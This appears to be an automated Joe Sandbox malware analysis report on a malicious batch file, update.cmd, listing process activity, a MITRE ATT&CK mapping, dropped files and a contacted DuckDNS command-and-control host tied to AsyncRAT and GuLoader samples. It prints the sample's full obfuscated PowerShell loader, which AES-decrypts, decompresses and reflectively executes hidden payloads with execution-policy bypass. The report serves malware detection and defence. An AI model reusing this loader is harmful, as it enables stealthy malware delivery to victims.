Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4505			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5182			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2568	Thread sleep count: 4505 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6700	Thread sleep count: 5182 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1716	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match	File source: amsi32_6136.amsi.csv, type: OTHER
Source: Yara match	File source: \Device\ConDrv, type: DROPPED

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "set __=^&rem"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\user\Desktop\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ceope6dpwvu7fderkkynhfr/1eqmzqt/n7wixjrbc2m='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('udojbmgbocvvvyzcitno4q=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $oqquw=new-object system.io.memorystream(,$param_var); $edfzx=new-object system.io.memorystream; $pftxr=new-object system.io.compression.gzipstream($oqquw, [io.compression.compressionmode]::decompress); $pftxr.copyto($edfzx); $pftxr.dispose(); $oqquw.dispose(); $edfzx.dispose(); $edfzx.toarray();}function execute_function($param_var,$param2_var){ $umdfj=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $wcvtw=$umdfj.entrypoint; $wcvtw.invoke($null, $param2_var);}$yeoup = 'c:\users\user\desktop\update.cmd';$host.ui.rawui.windowtitle = $yeoup;$blezh=[system.io.file]::('txetlladaer'[-1..-11] -join '')($yeoup).split([environment]::newline);foreach ($vqxry in $blezh) { if ($vqxry.startswith('uuontgqdmxgwonryagxc')) { $njusu=$vqxry.substring(20); break; }}$payloads_var=[string[]]$njusu.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('ceope6dpwvu7fderkkynhfr/1eqmzqt/n7wixjrbc2m='); $aes_var.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('udojbmgbocvvvyzcitno4q=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $oqquw=new-object system.io.memorystream(,$param_var); $edfzx=new-object system.io.memorystream; $pftxr=new-object system.io.compression.gzipstream($oqquw, [io.compression.compressionmode]::decompress); $pftxr.copyto($edfzx); $pftxr.dispose(); $oqquw.dispose(); $edfzx.dispose(); $edfzx.toarray();}function execute_function($param_var,$param2_var){ $umdfj=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$param_var); $wcvtw=$umdfj.entrypoint; $wcvtw.invoke($null, $param2_var);}$yeoup = 'c:\users\user\desktop\update.cmd';$host.ui.rawui.windowtitle = $yeoup;$blezh=[system.io.file]::('txetlladaer'[-1..-11] -join '')($yeoup).split([environment]::newline);foreach ($vqxry in $blezh) { if ($vqxry.startswith('uuontgqdmxgwonryagxc')) { $njusu=$vqxry.substring(20); break; }}$payloads_var=[string[]]$njusu.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($payloads_var[1].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
update.cmd	3%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dhhj.duckdns.org	12.202.180.134	true	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
12.202.180.134	dhhj.duckdns.org	United States		22983	FISERV-INCUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446780
Start date and time:	2024-05-23 21:04:59 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	update.cmd
Detection:	MAL
Classification:	mal84.troj.evad.winCMD@8/6@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .cmd Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: update.cmd

Simulations

Behavior and APIs

Time	Type	Description
15:05:44	API Interceptor	47x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
12.202.180.134	xff.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse
	new.cmd	Get hash	malicious	GuLoader	Browse
	las.cmd	Get hash	malicious	GuLoader	Browse
	kam.cmd	Get hash	malicious	Unknown	Browse
	sample.cmd	Get hash	malicious	Unknown	Browse
	zap.cmd	Get hash	malicious	GuLoader, XWorm	Browse
	xff.cmd	Get hash	malicious	Unknown	Browse
	xff.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse
	las.cmd	Get hash	malicious	GuLoader, XWorm	Browse
	las.cmd	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dhhj.duckdns.org	xff.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse	12.202.180.134
dhhj.duckdns.org	windows.vbs	Get hash	malicious	AsyncRAT, GuLoader	Browse	12.202.180.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FISERV-INCUS	xff.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse	12.202.180.134
	new.cmd	Get hash	malicious	GuLoader	Browse	12.202.180.134
	las.cmd	Get hash	malicious	GuLoader	Browse	12.202.180.134
	kam.cmd	Get hash	malicious	Unknown	Browse	12.202.180.134
	sample.cmd	Get hash	malicious	Unknown	Browse	12.202.180.134
	zap.cmd	Get hash	malicious	GuLoader, XWorm	Browse	12.202.180.134
	xff.cmd	Get hash	malicious	Unknown	Browse	12.202.180.134
	xff.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse	12.202.180.134
	las.cmd	Get hash	malicious	GuLoader, XWorm	Browse	12.202.180.134
	las.cmd	Get hash	malicious	Unknown	Browse	12.202.180.134

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69993 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69993
Entropy (8bit):	7.99584879649948
Encrypted:	true
SSDEEP:	1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5:	29F65BA8E88C063813CC50A4EA544E93
SHA1:	05A7040D5C127E68C25D81CC51271FFB8BEF3568
SHA-256:	1ED81FA8DFB6999A9FEDC6E779138FFD99568992E22D300ACD181A6D2C8DE184
SHA-512:	E29B2E92C496245BED3372578074407E8EF8882906CE10C35B3C8DEEBFEFE01B5FD7F3030ACAA693E175F4B7ACA6CD7D8D10AE1C731B09C5FA19035E005DE3AA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....i.......,...................I.................oXAy .authroot.stl.Ez..Q6..CK..<Tk...p.k..1...3...[..%Y.f..."K.6)..[I.hOB."..rK.RQ..}f..f...}....9.\|.....gA...30.,O2L...0..%.U...U.t.....`dqM2.x..t...<(uad.c...x5V.x..t..agd.v......i...KD..q(. ...JJ......#..'=. ...3.x...}...+T.K..!.'.`w .!.x.r.......YafhG..O.3....'P[..'.D../....n..t....R<..=\E7L0?{..T.f...ID...,...r....3z..O/.b.Iwx.. .o...a\.s........."..'.......<;s.[...l...6.)ll..B.P.....k.... k0.".t!/.,........{...P8....B..0(.. .Q.....d...q,\.$.n.Q.\.p...R..:.hr./..8.S<a.s...+#3....D..h1.a.0....{.9.....:e.......n.~G.{.M.1..OU.....B.Q..y_>.P{...}i.=.a..QQT.U..\|!.pyCD@.....l..70..w..)...W^.`l...%Y.\................i..=hYV.O8W@P.=.r.=..1m..1....)\.p..\|.c.3..t..[...).....l.{.Y....\S.....y....[.mCt....Js;...H....Q..F.....g.O...[..A.=...F[..z....k...mo.lW{`....O...T.g.Y.Uh.;m.'.N..f..}4..9i..t4p_bI..`.....Ie..l.P.... ...Lg......[....5g...~D.s.h'>n.m.c.7...-..P.gG...i$...v.m.b[.yO.P/*.YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.1475546137593846
Encrypted:	false
SSDEEP:	6:kKeX/lDN+SkQlPlEGYRMY9z+4KlDA3RUeVlWI/Vt:glMkPlE99SNxAhUeVLVt
MD5:	C075A1508BBBA95D2B45AD11F9FF18B8
SHA1:	2F9B8B694F5C86F4853AE37DAC06151D82E138C6
SHA-256:	CBC31D4A260901E94D87CB2D819AE3A72F13E74ADE75679E827EC53F79910618
SHA-512:	341F93785B2089E2C4117770C74DF722F6A58B4E7021BF7BE6ADC8A00B204E01393B1C294878B56E4878272E0E52B38BB8D0DC7630739B314359BEA5C50B0D1B
Malicious:	false
Reputation:	low
